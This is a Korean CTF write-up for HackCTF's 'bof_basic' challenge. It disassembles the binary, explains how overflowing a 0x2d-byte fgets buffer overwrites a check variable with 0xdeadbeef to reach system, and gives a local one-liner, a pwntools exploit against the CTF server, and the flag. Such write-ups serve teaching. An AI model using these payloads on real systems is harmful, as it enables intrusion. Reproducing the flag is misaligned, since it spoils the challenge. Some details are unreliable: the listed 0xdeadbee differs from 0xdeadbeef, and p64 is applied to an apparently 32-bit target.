풀이 사전 지식
+ Buffer Over Flow
Variable Overwrite
# Problem
# Binanry
# Analysis
# Setting
Download
# Static Analysis
아래의 명령어를 입력해 gdb로 bof_basic를 열어줍니다.
gdb -q ./bof_basic
Bash
복사
# disas main
아래의 명령어를 입력할 경우 main을 확인할 수 있습니다.
disas main
Bash
복사
assembly main
위 어셈블리어에서 의미가 있는 부분의 분석을 진행하도록 하겠습니다.
일단 우리가 봐야할 시점인 main+17부터 분석을 진행 해보도록 하겠습니다.
•
main+17 : DWORD PTR [ebp-0xc],0x4030201
ebp-0xc의 위치에 0x4030201을 저장합니다.
나중에 overflow 여부를 검증할 변수로 사용됩니다.
•
main+32~39 : push eax, push 0x2d, lea eax, [ebp-0x34], push eax, call 0x8048380 <fgets@plt>
일단 먼저 fgets의 인자를 보게된다면 아래와 같습니다.
#include <stdio.h>
char *fgets (char *string, int n, FILE *stream);
C
복사
다시말해 0x2d개 만큼을 ebp-0x34 위치에 있는 변수에 저장하는 것을 확인할 수 있습니다.
•
main+50~59 : lea eax,[ebp-0x34], push eax, push 0x8048610, call 0x8048370 <printf@plt>
printf 함수를 호출하는데 0x8048610의 위치에 있는 string을 넣고 ebp-0x34를 넣어주는 것을 확인할 수 있습니다.
0x8048610를 확인해본다면 아래와 같이 [buf] 변수를 출력하는 것을 확인할 수 있으며, ebp-0x34의 변수의 이름은 buf임을 확인할 수 있습니다.
•
main+70~78 : push DWORD PTR [ebp-0xc], push 0x804861c, call 0x8048370 <printf@plt>
위와 동일하게 0x804861c 먼저 확인을 해보면 아래와 같이 check 변수를 확인할 수 있습니다.
그럼 자연스럽게 ebp-0xc의 위치는 check임을 알 수 있습니다.
•
main+86~93 : cmp DWORD PTR [ebp-0xc],0x4030201, je 0x8048543 <main+120>
check 변수가 맨처음 main+17에서 넣은 0x4030201인지 확인하고 맞다면 main+120으로 이동합니다.
•
main+95~102 : cmp DWORD PTR [ebp-0xc],0xdeadbee, je 0x8048543 <main+120>
check 변수가 overflow을 통해서 0xdeadbee로 오염된 경우 main+120으로 이동합니다.
•
main+107~112 : push 0x8048628, call 0x8048390 <puts@plt>
check 변수가 overflow을 통해서 오염된 경우 0x8048628을 출력하여 맞게 접근했다고 알려줍니다.
•
main+120~127 : cmp DWORD PTR [ebp-0xc],0xdeadbee, jne 0x804857c <main+177>
한번더 검증합니다.
•
main+132~137 : push 0x8048644, call 0x8048390 <puts@plt>
0x8048644 문자열을 출력합니다.
•
main+148~153 : push 0x804866e, call 0x80483a0 <system@plt>
0x804866e를 인자로 system함수를 실행합니다.
•
main+164~169 : push 0x8048678, call 0x8048390 <puts@plt>
0x8048678 문자열을 출력합니다.
•
main+170~ :
인자를 정리하고 종료하는 부분입니다.
# Attack Vector
## Vulnerable Function
# fgets && System
위에서 분석한 내용을 바탕으로 공격을 시도해보면
buf 변수는 ebp-0x34 위치에 존재하며, 우리가 공격을 해야하는 check 변수는 ebp-0xc 위치에 존재하게 됩니다.
우리가 입력 가능한 문자열의 개수는 0x2d이며, 따라서 buf[ebp-0x34]에서 check[ebp-0xc]만큼 도달하기 위해서는 0x34(52)-0xc(12) = 0x28(40)만큼 입력을 하면 됩니다.
check에 도달한 뒤에도 0xdeadbeef를 넣아야 함으로 0x2c(44)만큼 입력을 하면 exploit에 성공하게됩니다.
# Exploit
# Local
(python -c 'print "A"*0x28+"\xef\xbe\xad\xde"';cat)| ./bof_basic
Bash
복사
# Payload
#! /bin/python3
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3000)
payload = b'A'*(0x34-0xc)
payload += p64(0xdeadbeef)
p.send(payload)
p.interactive()
Python
복사
# Flag
HackCTF{f1r57_574ck_buff3r_0v3rfl0w_5ucc355}
Plain Text
복사